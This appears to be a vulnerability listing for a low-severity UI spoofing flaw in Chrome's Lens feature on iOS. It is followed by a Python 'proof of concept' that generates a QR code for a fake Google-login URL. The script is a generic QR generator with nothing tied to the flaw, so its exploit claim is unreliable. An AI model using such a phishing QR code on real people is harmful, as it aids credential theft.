Inappropriate implementation in Lens in Google Chrome on iOS prior to 136.0.7103.59 allowed a remote attacker to perform UI spoofing via a crafted QR code. (Chromium security severity: Low)
cpe:2.3:o:apple:iphone_os:-:*:*:*:*:*:*:* - NOT VULNERABLE
Google Chrome iOS < 136.0.7103.59
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import qrcode
from PIL import Image
def generate_malicious_qr():
"""
Generate a malicious QR code that exploits CVE-2024-13983
UI Spoofing vulnerability in Google Chrome iOS Lens
"""
# Malicious URL that will be rendered in Lens
# This simulates a phishing site disguised as legitimate
malicious_url = "https://fake-google-login.com/search?q=malicious"
# Generate QR code
qr = qrcode.QRCode(
version=1,
error_correction=qrcode.constants.ERROR_CORRECT_L,
box_size=10,
border=4,
)
qr.add_data(malicious_url)
qr.make(fit=True)
img = qr.make_image(fill_color="black", back_color="white")
img.save("CVE-2024-13983_poc.png")
print(f"Malicious QR code generated: CVE-2024-13983_poc.png")
print(f"URL encoded: {malicious_url}")
print("When scanned with Chrome iOS Lens, this QR code may display a spoofed UI")
if __name__ == "__main__":
generate_malicious_qr()